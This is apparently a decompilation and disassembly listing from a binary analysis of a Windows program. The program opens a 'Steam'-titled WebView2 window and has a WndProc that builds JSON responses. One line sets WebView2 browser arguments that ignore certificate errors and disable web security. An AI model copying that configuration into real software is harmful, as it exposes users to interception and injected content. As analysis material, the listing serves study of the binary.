140001dbd	4c 89 6c 24 50	MOV qword ptr [RSP + local_588],R13
140001dc2	0f 57 c0	XORPS XMM0,XMM0
140001dc5	0f 11 44 24 40	MOVUPS xmmword ptr [RSP + local_598[0]],XMM0
140001dca	44 89 44 24 38	MOV dword ptr [RSP + local_5a0],R8D
140001dcf	89 44 24 30	MOV dword ptr [RSP + local_5a8],EAX
140001dd3	44 89 4c 24 28	MOV dword ptr [RSP + local_5b0],R9D
140001dd8	89 4c 24 20	MOV dword ptr [RSP + local_5b8],ECX
140001ddc	48 c7 44 24 58 00 00 00 …	MOV qword ptr [RSP + local_580],0x0
140001de5	4c 8d 05 86 94 09 00	LEA R8,[u_Steam_14009b272]	; "Steam"
140001dec	31 c9	XOR ECX,ECX
140001dee	41 b9 00 00 02 82	MOV R9D,0x82020000
140001df4	ff 15 16 05 0b 00	CALL qword ptr [PTR_CreateWindowExW_1400b2310]
140001dfa	48 89 05 4f 76 0c 00	MOV qword ptr [DAT_1400c9450],RAX
140001e01	0f 10 05 78 94 09 00	MOVUPS XMM0,xmmword ptr [DAT_14009b280]
140001e08	0f 29 84 24 50 01 00 00	MOVAPS xmmword ptr [RSP + local_488[0]],XMM0
140001e10	48 8d 94 24 50 01 00 00	LEA RDX,[RSP + 0x150]
140001e18	48 89 c1	MOV RCX,RAX
140001e1b	ff 15 7f 04 0b 00	CALL qword ptr [PTR_DwmExtendFrameIntoClientArea_1400b22a0]
140001e21	c7 84 24 3c 01 00 00 01 …	MOV dword ptr [RSP + local_49c],0x1
140001e2c	48 8b 0d 1d 76 0c 00	MOV RCX,qword ptr [DAT_1400c9450]
140001e33	4c 8d 84 24 3c 01 00 00	LEA R8,[RSP + 0x13c]
140001e3b	ba 14 00 00 00	MOV EDX,0x14
140001e40	41 b9 04 00 00 00	MOV R9D,0x4
140001e46	ff 15 5c 04 0b 00	CALL qword ptr [PTR_DwmSetWindowAttribute_1400b22a8]
140001e4c	48 8d 0d 3d 94 09 00	LEA RCX,[u_ntdll.dll_14009b290]	; "ntdll.dll"
140001e53	ff 15 5f 0a 0b 00	CALL qword ptr [PTR_GetModuleHandleW_1400b28b8]
140001e59	48 85 c0	TEST RAX,RAX
140001e5c	74 78	JZ LAB_140001ed6
140001e5e	48 8d 15 3f 94 09 00	LEA RDX,[s_RtlGetVersion_14009b2a4]	; "RtlGetVersion"
140001e65	48 89 c1	MOV RCX,RAX
140001e68	ff 15 52 0a 0b 00	CALL qword ptr [PTR_GetProcAddress_1400b28c0]
140001e6e	48 89 c6	MOV RSI,RAX
140001e71	48 85 c0	TEST RAX,RAX
140001e74	74 60	JZ LAB_140001ed6
140001e76	48 8d 8c 24 64 01 00 00	LEA RCX,[RSP + 0x164]
140001e7e	41 b8 18 01 00 00	MOV R8D,0x118
140001e84	31 d2	XOR EDX,EDX
140001e86	e8 c5 83 09 00	CALL memset
140001e8b	c7 84 24 60 01 00 00 1c …	MOV dword ptr [RSP + local_478[0]],0x11c
140001e96	48 8d 8c 24 60 01 00 00	LEA RCX,[RSP + 0x160]
140001e9e	ff d6	CALL RSI
140001ea0	85 c0	TEST EAX,EAX
140001ea2	75 32	JNZ LAB_140001ed6
140001ea4	81 bc 24 6c 01 00 00 f0 …	CMP dword ptr [RSP + local_478[12]],0x55f0
140001eaf	72 25	JC LAB_140001ed6
140001eb1	c7 44 24 60 02 00 00 00	MOV dword ptr [RSP + local_578[0]],0x2
140001eb9	48 8b 0d 90 75 0c 00	MOV RCX,qword ptr [DAT_1400c9450]
140001ec0	4c 8d 44 24 60	LEA R8,[RSP + 0x60]
140001ec5	ba 21 00 00 00	MOV EDX,0x21
140001eca	41 b9 04 00 00 00	MOV R9D,0x4
140001ed0	ff 15 d2 03 0b 00	CALL qword ptr [PTR_DwmSetWindowAttribute_1400b22a8]
LAB_140001ed6:
140001ed6	48 8b 0d 73 75 0c 00	MOV RCX,qword ptr [DAT_1400c9450]
140001edd	ff 15 e5 04 0b 00	CALL qword ptr [PTR_UpdateWindow_1400b23c8]
140001ee3	0f 57 c0	XORPS XMM0,XMM0
140001ee6	0f 29 84 24 60 01 00 00	MOVAPS xmmword ptr [RSP + local_478[0]],XMM0
140001eee	48 c7 84 24 70 01 00 00 …	MOV qword ptr [RSP + local_468],0x0
140001efa	48 8d 15 b1 93 09 00	LEA RDX,[u_userdata_14009b2b2]	; "userdata"
140001f01	4c 8d 05 ba 93 09 00	LEA R8,[u__14009b2b2+0x10]
140001f08	48 8d 8c 24 60 01 00 00	LEA RCX,[RSP + 0x160]
140001f10	e8 ab 2e 00 00	CALL FUN_140004dc0	; FUN_140004dc0: memcpy, __acrt_iob_func, RtlUnwindEx, memmove
140001f15	f6 05 1c 75 0c 00 01	TEST byte ptr [DAT_1400c9438],0x1
140001f1c	75 20	JNZ LAB_140001f3e
140001f1e	48 8b 05 23 75 0c 00	MOV RAX,qword ptr [DAT_1400c9448]
140001f25	48 89 84 24 90 00 00 00	MOV qword ptr [RSP + local_548],RAX
140001f2d	0f 10 05 04 75 0c 00	MOVUPS XMM0,xmmword ptr [DAT_1400c9438]
140001f34	0f 29 84 24 80 00 00 00	MOVAPS xmmword ptr [RSP + local_558[0]],XMM0
140001f3c	eb 1b	JMP LAB_140001f59
LAB_140001f3e:
140001f3e	48 8b 15 03 75 0c 00	MOV RDX,qword ptr [DAT_1400c9448]
140001f45	4c 8b 05 f4 74 0c 00	MOV R8,qword ptr [DAT_1400c9440]
140001f4c	48 8d 8c 24 80 00 00 00	LEA RCX,[RSP + 0x80]
140001f54	e8 d7 2b 00 00	CALL FUN_140004b30	; FUN_140004b30: memmove
LAB_140001f59:
140001f59	48 8d 8c 24 80 00 00 00	LEA RCX,[RSP + 0x80]
140001f61	48 8d 94 24 60 01 00 00	LEA RDX,[RSP + 0x160]
140001f69	e8 e2 30 00 00	CALL FUN_140005050	; FUN_140005050: __acrt_iob_func, RtlUnwindEx, memmove
140001f6e	f6 84 24 60 01 00 00 01	TEST byte ptr [RSP + local_478[0]],0x1
140001f76	74 0d	JZ LAB_140001f85
140001f78	48 8b 8c 24 70 01 00 00	MOV RCX,qword ptr [RSP + local_468]
140001f80	e8 5b d9 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140001f85:
140001f85	c7 84 24 c0 00 00 00 00 …	MOV dword ptr [RSP + local_518[0]],0x0
140001f90	e8 5b 41 01 00	CALL FUN_1400160f0	; FUN_1400160f0: SleepConditionVariableSRW, __acrt_iob_func, RtlUnwindEx, WakeAllConditionVariable
140001f95	48 89 84 24 c8 00 00 00	MOV qword ptr [RSP + local_518[8]],RAX
140001f9d	45 31 e4	XOR R12D,R12D
140001fa0	4c 8d 2d 19 99 09 00	LEA R13,[PTR_u_EBWebView\Cache_14009b8c0]
140001fa7	0f 57 f6	XORPS XMM6,XMM6
140001faa	48 8d 74 24 60	LEA RSI,[RSP + 0x60]
140001faf	48 8d 9c 24 60 01 00 00	LEA RBX,[RSP + 0x160]
140001fb7	4c 8d b4 24 c0 00 00 00	LEA R14,[RSP + 0xc0]
140001fbf	eb 1d	JMP LAB_140001fde
LAB_140001fd0:
140001fd0	49 83 c4 08	ADD R12,0x8
140001fd4	49 83 fc 28	CMP R12,0x28
140001fd8	0f 84 c1 00 00 00	JZ LAB_14000209f
LAB_140001fde:
140001fde	4f 8b 3c 2c	MOV R15,qword ptr [R12 + R13*0x1]
140001fe2	0f 29 74 24 60	MOVAPS xmmword ptr [RSP + local_578[0]],XMM6
140001fe7	48 c7 44 24 70 00 00 00 …	MOV qword ptr [RSP + local_568],0x0
140001ff0	4c 89 f9	MOV RCX,R15	; "EBWebView\\Cache"
140001ff3	e8 98 82 09 00	CALL wcslen
140001ff8	4d 8d 04 47	LEA R8,[R15 + RAX*0x2]
140001ffc	48 89 f1	MOV RCX,RSI
140001fff	4c 89 fa	MOV RDX,R15	; "EBWebView\\Cache"
140002002	e8 b9 2d 00 00	CALL FUN_140004dc0	; FUN_140004dc0: memcpy, __acrt_iob_func, RtlUnwindEx, memmove
140002007	f6 84 24 80 00 00 00 01	TEST byte ptr [RSP + local_558[0]],0x1
14000200f	75 2f	JNZ LAB_140002040
140002011	48 8b 84 24 90 00 00 00	MOV RAX,qword ptr [RSP + local_548]
140002019	48 89 84 24 70 01 00 00	MOV qword ptr [RSP + local_468],RAX
140002021	0f 28 84 24 80 00 00 00	MOVAPS XMM0,xmmword ptr [RSP + local_558[0]]
140002029	0f 29 84 24 60 01 00 00	MOVAPS xmmword ptr [RSP + local_478[0]],XMM0
140002031	eb 25	JMP LAB_140002058
LAB_140002040:
140002040	4c 8b 84 24 88 00 00 00	MOV R8,qword ptr [RSP + local_558[8]]
140002048	48 8b 94 24 90 00 00 00	MOV RDX,qword ptr [RSP + local_548]
140002050	48 89 d9	MOV RCX,RBX
140002053	e8 d8 2a 00 00	CALL FUN_140004b30	; FUN_140004b30: memmove
LAB_140002058:
140002058	48 89 d9	MOV RCX,RBX
14000205b	48 89 f2	MOV RDX,RSI
14000205e	e8 ed 2f 00 00	CALL FUN_140005050	; FUN_140005050: __acrt_iob_func, RtlUnwindEx, memmove
140002063	48 89 d9	MOV RCX,RBX
140002066	4c 89 f2	MOV RDX,R14
140002069	e8 b2 85 01 00	CALL FUN_14001a620	; FUN_14001a620: CreateFileW, CloseHandle, GetLastError, FindNextFileW +4
14000206e	f6 84 24 60 01 00 00 01	TEST byte ptr [RSP + local_478[0]],0x1
140002076	74 0d	JZ LAB_140002085
140002078	48 8b 8c 24 70 01 00 00	MOV RCX,qword ptr [RSP + local_468]
140002080	e8 5b d8 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140002085:
140002085	f6 44 24 60 01	TEST byte ptr [RSP + local_578[0]],0x1
14000208a	0f 84 40 ff ff ff	JZ LAB_140001fd0
140002090	48 8b 4c 24 70	MOV RCX,qword ptr [RSP + local_568]
140002095	e8 46 d8 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
14000209a	e9 31 ff ff ff	JMP LAB_140001fd0
LAB_14000209f:
14000209f	48 8d 0d 1e 92 09 00	LEA RCX,[u_WEBVIEW2_ADDITIONAL_BROWSER_ARGU_14009b2c4]	; "WEBVIEW2_ADDITIONAL_BROWSER_ARGUMENTS"
1400020a6	48 8d 15 63 92 09 00	LEA RDX,[u_--ignore-certificate-errors_--al_14009b310]	; "--ignore-certificate-errors --allow-running-insecure-content --disable-web-secur…"
1400020ad	ff 15 f5 08 0b 00	CALL qword ptr [PTR_SetEnvironmentVariableW_1400b29a8]
1400020b3	f6 84 24 80 00 00 00 01	TEST byte ptr [RSP + local_558[0]],0x1
1400020bb	75 22	JNZ LAB_1400020df
1400020bd	48 8b 84 24 90 00 00 00	MOV RAX,qword ptr [RSP + local_548]
1400020c5	48 89 84 24 70 01 00 00	MOV qword ptr [RSP + local_468],RAX
1400020cd	0f 28 84 24 80 00 00 00	MOVAPS XMM0,xmmword ptr [RSP + local_558[0]]
1400020d5	0f 29 84 24 60 01 00 00	MOVAPS xmmword ptr [RSP + local_478[0]],XMM0
1400020dd	eb 1d	JMP LAB_1400020fc
LAB_1400020df:
1400020df	4c 8b 84 24 88 00 00 00	MOV R8,qword ptr [RSP + local_558[8]]
1400020e7	48 8b 94 24 90 00 00 00	MOV RDX,qword ptr [RSP + local_548]
1400020ef	48 8d 8c 24 60 01 00 00	LEA RCX,[RSP + 0x160]
1400020f7	e8 34 2a 00 00	CALL FUN_140004b30	; FUN_140004b30: memmove
LAB_1400020fc:
1400020fc	0f b6 9c 24 60 01 00 00	MOVZX EBX,byte ptr [RSP + local_478[0]]
140002104	48 8b b4 24 70 01 00 00	MOV RSI,qword ptr [RSP + local_468]
14000210c	b9 10 00 00 00	MOV ECX,0x10
140002111	e8 ea d6 01 00	CALL FUN_14001f800	; FUN_14001f800: malloc
140002116	f6 c3 01	TEST BL,0x1
140002119	48 8d 8c 24 62 01 00 00	LEA RCX,[RSP + 0x162]
140002121	48 0f 44 f1	CMOVZ RSI,RCX
140002125	0f 57 c0	XORPS XMM0,XMM0
140002128	0f 29 00	MOVAPS xmmword ptr [RAX],XMM0
14000212b	48 8d 0d 7e cf 09 00	LEA RCX,[PTR_LAB_14009f0b0]
140002132	48 89 08	MOV qword ptr [RAX],RCX
140002135	c7 40 08 01 00 00 00	MOV dword ptr [RAX + 0x8],0x1
14000213c	31 c9	XOR ECX,ECX
14000213e	48 89 f2	MOV RDX,RSI
140002141	45 31 c0	XOR R8D,R8D
140002144	49 89 c1	MOV R9,RAX
140002147	ff d7	CALL RDI
140002149	89 c6	MOV ESI,EAX
14000214b	f6 84 24 60 01 00 00 01	TEST byte ptr [RSP + local_478[0]],0x1
140002153	74 0d	JZ LAB_140002162
140002155	48 8b 8c 24 70 01 00 00	MOV RCX,qword ptr [RSP + local_468]
14000215d	e8 7e d7 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140002162:
140002162	85 f6	TEST ESI,ESI
140002164	0f 88 f4 00 00 00	JS LAB_14000225e
14000216a	48 8d b4 24 60 01 00 00	LEA RSI,[RSP + 0x160]
140002172	48 8b 3d c7 01 0b 00	MOV RDI,qword ptr [PTR_GetMessageW_1400b2340]
140002179	48 8b 1d 40 02 0b 00	MOV RBX,qword ptr [PTR_TranslateMessage_1400b23c0]
140002180	4c 8b 35 99 01 0b 00	MOV R14,qword ptr [PTR_DispatchMessageW_1400b2320]
140002187	66 0f 1f 84 00 00 00 00 …	NOP word ptr [RAX + RAX*0x1]
LAB_140002190:
140002190	48 89 f1	MOV RCX,RSI
140002193	31 d2	XOR EDX,EDX
140002195	45 31 c0	XOR R8D,R8D
140002198	45 31 c9	XOR R9D,R9D
14000219b	ff d7	CALL RDI
14000219d	85 c0	TEST EAX,EAX
14000219f	74 0d	JZ LAB_1400021ae
1400021a1	48 89 f1	MOV RCX,RSI
1400021a4	ff d3	CALL RBX
1400021a6	48 89 f1	MOV RCX,RSI
1400021a9	41 ff d6	CALL R14
1400021ac	eb e2	JMP LAB_140002190
LAB_1400021ae:
1400021ae	48 8b 0d a3 72 0c 00	MOV RCX,qword ptr [DAT_1400c9458]
1400021b5	48 85 c9	TEST RCX,RCX
1400021b8	74 06	JZ LAB_1400021c0
1400021ba	48 8b 01	MOV RAX,qword ptr [RCX]
1400021bd	ff 50 10	CALL qword ptr [RAX + 0x10]
LAB_1400021c0:
1400021c0	48 8b 0d 99 72 0c 00	MOV RCX,qword ptr [DAT_1400c9460]
1400021c7	48 85 c9	TEST RCX,RCX
1400021ca	74 06	JZ LAB_1400021d2
1400021cc	48 8b 01	MOV RAX,qword ptr [RCX]
1400021cf	ff 50 10	CALL qword ptr [RAX + 0x10]
LAB_1400021d2:
1400021d2	ff 15 b8 00 0b 00	CALL qword ptr [PTR_CoUninitialize_1400b2290]
1400021d8	31 f6	XOR ESI,ESI
1400021da	f6 84 24 80 00 00 00 01	TEST byte ptr [RSP + local_558[0]],0x1
1400021e2	74 0d	JZ LAB_1400021f1
LAB_1400021e4:
1400021e4	48 8b 8c 24 90 00 00 00	MOV RCX,qword ptr [RSP + local_548]
1400021ec	e8 ef d6 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400021f1:
1400021f1	f6 84 24 a0 00 00 00 01	TEST byte ptr [RSP + local_538[0]],0x1
1400021f9	74 0d	JZ LAB_140002208
1400021fb	48 8b 8c 24 b0 00 00 00	MOV RCX,qword ptr [RSP + local_528]
140002203	e8 d8 d6 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140002208:
140002208	89 f0	MOV EAX,ESI
14000220a	0f 28 b4 24 80 05 00 00	MOVAPS XMM6,xmmword ptr [RSP + local_58[0]]
140002212	48 81 c4 98 05 00 00	ADD RSP,0x598
140002219	5b	POP RBX
14000221a	5d	POP RBP
14000221b	5f	POP RDI
14000221c	5e	POP RSI
14000221d	41 5c	POP R12
14000221f	41 5d	POP R13
140002221	41 5e	POP R14
140002223	41 5f	POP R15
140002225	c3	RET
LAB_140002226:
140002226	48 8b 4c 24 70	MOV RCX,qword ptr [RSP + local_568]
14000222b	e8 b0 d6 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140002230	f6 84 24 c0 00 00 00 01	TEST byte ptr [RSP + local_518[0]],0x1
140002238	0f 84 99 f7 ff ff	JZ LAB_1400019d7
LAB_14000223e:
14000223e	48 8b 8c 24 d0 00 00 00	MOV RCX,qword ptr [RSP + local_508]
140002246	e8 95 d6 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
14000224b	f6 84 24 80 00 00 00 01	TEST byte ptr [RSP + local_558[0]],0x1
140002253	0f 85 88 f7 ff ff	JNZ LAB_1400019e1
140002259	e9 90 f7 ff ff	JMP LAB_1400019ee
LAB_14000225e:
14000225e	be 01 00 00 00	MOV ESI,0x1
140002263	f6 84 24 80 00 00 00 01	TEST byte ptr [RSP + local_558[0]],0x1
14000226b	0f 85 73 ff ff ff	JNZ LAB_1400021e4
140002271	e9 7b ff ff ff	JMP LAB_1400021f1
LAB_140002276:
140002276	e8 75 27 00 00	CALL FUN_1400049f0	; FUN_1400049f0: __acrt_iob_func, RtlUnwindEx
LAB_14000227b:
14000227b	e8 d0 2a 00 00	CALL FUN_140004d50	; FUN_140004d50: __acrt_iob_func, RtlUnwindEx
LAB_140002280:
140002280	e8 0b 28 00 00	CALL FUN_140004a90	; FUN_140004a90: _aligned_malloc, memset, __acrt_iob_func, RaiseException

WndProc

0x140002480878 bytes

undefined8 WndProc(HWND param_1, int param_2, ulonglong param_3, ulonglong * param_4)

Window procedure dispatching WM messages, calls WebView2 setup and JSON response builder

Cited as: E10
Behaviours: B2, B10
Called from: none found
Calls: GetClientRect PostQuitMessage json_response_builder, FUN_140002cd0, FUN_14000ea50, FUN_14000ea80, FUN_14000eec0, FUN_140013c50, FUN_14001f8e0

Decompiled C · 195 lines

/* WARNING: Type propagation algorithm not settling */

undefined8 WndProc(HWND param_1,int param_2,ulonglong param_3,ulonglong *param_4)

{
  ulonglong uVar1;
  undefined1 *puVar2;
  undefined4 uVar3;
  undefined4 uVar4;
  undefined8 uVar5;
  ulonglong uVar6;
  ulonglong *puVar7;
  ulonglong *puVar8;
  char *pcVar9;
  tagRECT local_108;
  void *local_f8;
  byte local_f0;
  undefined1 local_ef [7];
  ulonglong local_e8;
  undefined1 *local_e0;
  ulonglong local_d8;
  ulonglong uStack_d0;
  void *local_c8;
  ulonglong local_b8;
  ulonglong uStack_b0;
  void *local_a8;
  ulonglong local_98;
  ulonglong uStack_90;
  void *local_88;
  byte local_80 [16];
  void *local_70;
  LONG local_68;
  LONG LStack_64;
  LONG LStack_60;
  LONG LStack_5c;
  undefined2 local_50 [24];
  
  uVar3 = DAT_1400c9000;
  switch(param_2) {
  case 2:
    PostQuitMessage(0);
    break;
  case 3:
    if (DAT_1400c9458 != (longlong *)0x0) {
      (**(code **)(*DAT_1400c9458 + 0xb8))();
    }
    break;
  case 4:
  case 7:
  case 8:
  case 9:
  case 10:
  case 0xb:
  case 0xc:
  case 0xd:
  case 0xe:
  case 0xf:
  case 0x10:
  case 0x11:
  case 0x12:
  case 0x13:
  case 0x14:
  case 0x15:
  case 0x16:
  case 0x17:
  case 0x18:
  case 0x19:
  case 0x1a:
  case 0x1b:
  case 0x1c:
  case 0x1d:
  case 0x1e:
  case 0x1f:
  case 0x20:
  case 0x21:
  case 0x22:
  case 0x23:
switchD_1400024aa_caseD_4:
                    /* WARNING: Could not recover jumptable at 0x0001400024f4. Too many branches */
                    /* WARNING: Treating indirect jump as call */
    uVar5 = DefWindowProcW();
    return uVar5;
  case 5:
    if ((param_3 != 1) && (DAT_1400c9458 != (longlong *)0x0)) {
      GetClientRect(param_1,&local_108);
      local_68 = local_108.left;
      LStack_64 = local_108.top;
      LStack_60 = local_108.right;
      LStack_5c = local_108.bottom;
      (**(code **)(*DAT_1400c9458 + 0x30))(DAT_1400c9458,&local_68);
    }
    break;
  case 6:
    if ((short)param_3 != 0 && DAT_1400c9458 != (longlong *)0x0) {
      (**(code **)(*DAT_1400c9458 + 0x60))(DAT_1400c9458,0);
    }
    break;
  case 0x24:
    *(undefined4 *)(param_4 + 3) = DAT_1400c9000;
    uVar4 = DAT_1400c9004;
    *(undefined4 *)((longlong)param_4 + 0x1c) = DAT_1400c9004;
    *(undefined4 *)(param_4 + 4) = uVar3;
    *(undefined4 *)((longlong)param_4 + 0x24) = uVar4;
    break;
  default:
    if (param_2 != 0x8001) goto switchD_1400024aa_caseD_4;
    if (param_4 == (ulonglong *)0x0) {
      return 0;
    }
    if (((byte)param_4[5] & 1) == 0) {
      uVar6 = (ulonglong)(byte)((byte)param_4[5] >> 1);
    }
    else {
      uVar6 = param_4[6];
    }
    uVar1 = *param_4;
    if (uVar6 == 0) {
      puVar8 = param_4;
      FUN_140013c50((longlong *)local_80,(ulonglong)(uint)param_4[1],param_3,(undefined *)param_4);
      pcVar9 = "{\"status\":";
      puVar7 = (ulonglong *)FUN_14000eec0((ulonglong *)local_80,0,(byte *)"{\"status\":");
      local_c8 = (void *)puVar7[2];
      local_d8 = *puVar7;
      uStack_d0 = puVar7[1];
      *puVar7 = 0;
      puVar7[1] = 0;
      puVar7[2] = 0;
      puVar7 = (ulonglong *)FUN_14000ea50(&local_d8,",\"body\":\"",pcVar9,puVar8);
      local_a8 = (void *)puVar7[2];
      local_b8 = *puVar7;
      uStack_b0 = puVar7[1];
      *puVar7 = 0;
      puVar7[1] = 0;
      puVar7[2] = 0;
      FUN_140002cd0((ulonglong *)&local_f0,(byte *)(param_4 + 2),pcVar9,puVar8);
      uVar6 = (ulonglong)(local_f0 >> 1);
      puVar2 = local_ef;
      if ((local_f0 & 1) != 0) {
        uVar6 = local_e8;
        puVar2 = local_e0;
      }
      puVar7 = FUN_14000ea80(&local_b8,puVar2,uVar6,puVar8);
      local_88 = (void *)puVar7[2];
      local_98 = *puVar7;
      uStack_90 = puVar7[1];
      *puVar7 = 0;
      puVar7[1] = 0;
      puVar7[2] = 0;
      puVar8 = (ulonglong *)FUN_14000ea50(&local_98,"\"}",uVar6,puVar8);
      local_f8 = (void *)puVar8[2];
      local_108._0_8_ = *puVar8;
      local_108._8_8_ = puVar8[1];
      *puVar8 = 0;
      puVar8[1] = 0;
      puVar8[2] = 0;
      local_50[0] = 0;
      json_response_builder(uVar1,'\x01',(byte *)&local_108,(byte *)local_50);
      if ((local_108._0_8_ & 1) != 0) {
        FUN_14001f8e0(local_f8);
      }
      if ((local_98 & 1) != 0) {
        FUN_14001f8e0(local_88);
      }
      if ((local_f0 & 1) != 0) {
        FUN_14001f8e0(local_e0);
      }
      if ((local_b8 & 1) != 0) {
        FUN_14001f8e0(local_a8);
      }
      if ((local_d8 & 1) != 0) {
        FUN_14001f8e0(local_c8);
      }
      if ((local_80[0] & 1) != 0) goto LAB_1400027a7;
    }
    else {
      local_108._0_8_ = local_108._0_8_ & 0xffffffffffff0000;
      json_response_builder(uVar1,'\0',(byte *)&local_108,(byte *)(param_4 + 5));
      local_70 = local_f8;
      if ((local_108._0_8_ & 1) != 0) {
LAB_1400027a7:
        FUN_14001f8e0(local_70);
      }
    }
    if ((param_4[5] & 1) != 0) {
      FUN_14001f8e0((void *)param_4[7]);
    }
    if ((param_4[2] & 1) != 0) {
      FUN_14001f8e0((void *)param_4[4]);
    }
    FUN_14001f8e0(param_4);
  }
  return 0;
}

Assembly · 198 instructions, 19 annotated

Address	Bytes	Instruction	Comment
140002480	41 56	PUSH R14
140002482	56	PUSH RSI
140002483	57	PUSH RDI
140002484	53	PUSH RBX
140002485	48 81 ec 08 01 00 00	SUB RSP,0x108
14000248c	0f 29 b4 24 f0 00 00 00	MOVAPS xmmword ptr [RSP + local_38[0]],XMM6
140002494	8d 42 fe	LEA EAX,[RDX + -0x2]
140002497	83 f8 22	CMP EAX,0x22
14000249a	77 1d	JA default
14000249c	4c 8d 15 fd 8b 09 00	LEA R10,[switchdataD_14009b0a0]
1400024a3	49 63 04 82	MOVSXD RAX,dword ptr [R10 + RAX*0x4]
1400024a7	4c 01 d0	ADD RAX,R10
1400024aa	ff e0	JMP RAX
caseD_2:
1400024ac	31 c9	XOR ECX,ECX
1400024ae	ff 15 c4 fe 0a 00	CALL qword ptr [PTR_PostQuitMessage_1400b2378]
1400024b4	e9 1e 03 00 00	JMP LAB_1400027d7
default:
1400024b9	81 fa 01 80 00 00	CMP EDX,0x8001
1400024bf	75 1f	JNZ caseD_4
1400024c1	4d 85 c9	TEST R9,R9
1400024c4	0f 84 0d 03 00 00	JZ LAB_1400027d7
1400024ca	41 0f b6 41 28	MOVZX EAX,byte ptr [R9 + 0x28]
1400024cf	a8 01	TEST AL,0x1
1400024d1	0f 84 d6 00 00 00	JZ LAB_1400025ad
1400024d7	49 8b 41 30	MOV RAX,qword ptr [R9 + 0x30]
1400024db	e9 cf 00 00 00	JMP LAB_1400025af
caseD_4:
1400024e0	0f 28 b4 24 f0 00 00 00	MOVAPS XMM6,xmmword ptr [RSP + local_38[0]]
1400024e8	48 81 c4 08 01 00 00	ADD RSP,0x108
1400024ef	5b	POP RBX
1400024f0	5f	POP RDI
1400024f1	5e	POP RSI
1400024f2	41 5e	POP R14
1400024f4	48 ff 25 1d fe 0a 00	JMP qword ptr [PTR_DefWindowProcW_1400b2318]
caseD_24:
1400024fb	8b 05 ff 6a 0c 00	MOV EAX,dword ptr [DAT_1400c9000]
140002501	41 89 41 18	MOV dword ptr [R9 + 0x18],EAX
140002505	8b 0d f9 6a 0c 00	MOV ECX,dword ptr [DAT_1400c9004]
14000250b	41 89 49 1c	MOV dword ptr [R9 + 0x1c],ECX
14000250f	41 89 41 20	MOV dword ptr [R9 + 0x20],EAX
140002513	41 89 49 24	MOV dword ptr [R9 + 0x24],ECX
140002517	e9 bb 02 00 00	JMP LAB_1400027d7
caseD_5:
14000251c	49 83 f8 01	CMP R8,0x1
140002520	0f 84 b1 02 00 00	JZ LAB_1400027d7
140002526	48 83 3d 2a 6f 0c 00 00	CMP qword ptr [DAT_1400c9458],0x0
14000252e	0f 84 a3 02 00 00	JZ LAB_1400027d7
140002534	48 8d 54 24 20	LEA RDX,[RSP + 0x20]
140002539	ff 15 e9 fd 0a 00	CALL qword ptr [PTR_GetClientRect_1400b2328]
14000253f	48 8b 0d 12 6f 0c 00	MOV RCX,qword ptr [DAT_1400c9458]
140002546	0f 10 44 24 20	MOVUPS XMM0,xmmword ptr [RSP + local_108[0]]
14000254b	0f 29 84 24 c0 00 00 00	MOVAPS xmmword ptr [RSP + local_68[0]],XMM0
140002553	48 8b 01	MOV RAX,qword ptr [RCX]
140002556	48 8d 94 24 c0 00 00 00	LEA RDX,[RSP + 0xc0]
14000255e	ff 50 30	CALL qword ptr [RAX + 0x30]
140002561	e9 71 02 00 00	JMP LAB_1400027d7
caseD_3:
140002566	48 8b 0d eb 6e 0c 00	MOV RCX,qword ptr [DAT_1400c9458]
14000256d	48 85 c9	TEST RCX,RCX
140002570	0f 84 61 02 00 00	JZ LAB_1400027d7
140002576	48 8b 01	MOV RAX,qword ptr [RCX]
140002579	ff 90 b8 00 00 00	CALL qword ptr [RAX + 0xb8]
14000257f	e9 53 02 00 00	JMP LAB_1400027d7
caseD_6:
140002584	48 8b 0d cd 6e 0c 00	MOV RCX,qword ptr [DAT_1400c9458]
14000258b	48 85 c9	TEST RCX,RCX
14000258e	0f 94 c0	SETZ AL
140002591	66 45 85 c0	TEST R8W,R8W
140002595	0f 94 c2	SETZ DL
140002598	08 c2	OR DL,AL
14000259a	0f 85 37 02 00 00	JNZ LAB_1400027d7
1400025a0	48 8b 01	MOV RAX,qword ptr [RCX]
1400025a3	31 d2	XOR EDX,EDX
1400025a5	ff 50 60	CALL qword ptr [RAX + 0x60]
1400025a8	e9 2a 02 00 00	JMP LAB_1400027d7
LAB_1400025ad:
1400025ad	d1 e8	SHR EAX,0x1
LAB_1400025af:
1400025af	49 8d 71 28	LEA RSI,[R9 + 0x28]
1400025b3	49 8b 09	MOV RCX,qword ptr [R9]
1400025b6	48 85 c0	TEST RAX,RAX
1400025b9	4d 89 ce	MOV R14,R9
1400025bc	74 2b	JZ LAB_1400025e9
1400025be	66 c7 44 24 20 00 00	MOV word ptr [RSP + local_108[0]],0x0
1400025c5	4c 8d 44 24 20	LEA R8,[RSP + 0x20]
1400025ca	31 d2	XOR EDX,EDX
1400025cc	49 89 f1	MOV R9,RSI
1400025cf	e8 2c 03 00 00	CALL json_response_builder	; → json_response_builder (B10, E19)
1400025d4	f6 44 24 20 01	TEST byte ptr [RSP + local_108[0]],0x1
1400025d9	0f 84 cd 01 00 00	JZ LAB_1400027ac
1400025df	48 8b 4c 24 30	MOV RCX,qword ptr [RSP + local_f8]
1400025e4	e9 be 01 00 00	JMP LAB_1400027a7
LAB_1400025e9:
1400025e9	48 89 cf	MOV RDI,RCX
1400025ec	41 8b 51 08	MOV EDX,dword ptr [R9 + 0x8]
1400025f0	48 8d 9c 24 a8 00 00 00	LEA RBX,[RSP + 0xa8]
1400025f8	48 89 d9	MOV RCX,RBX
1400025fb	e8 50 16 01 00	CALL FUN_140013c50	; FUN_140013c50: memcpy
140002600	4c 8d 05 3c 92 09 00	LEA R8,[s_{"status":_14009b843]	; "{\"status\":"
140002607	48 89 d9	MOV RCX,RBX
14000260a	31 d2	XOR EDX,EDX
14000260c	e8 af c8 00 00	CALL FUN_14000eec0	; FUN_14000eec0: strlen
140002611	48 8b 48 10	MOV RCX,qword ptr [RAX + 0x10]
140002615	48 89 4c 24 60	MOV qword ptr [RSP + local_c8],RCX
14000261a	0f 10 00	MOVUPS XMM0,xmmword ptr [RAX]
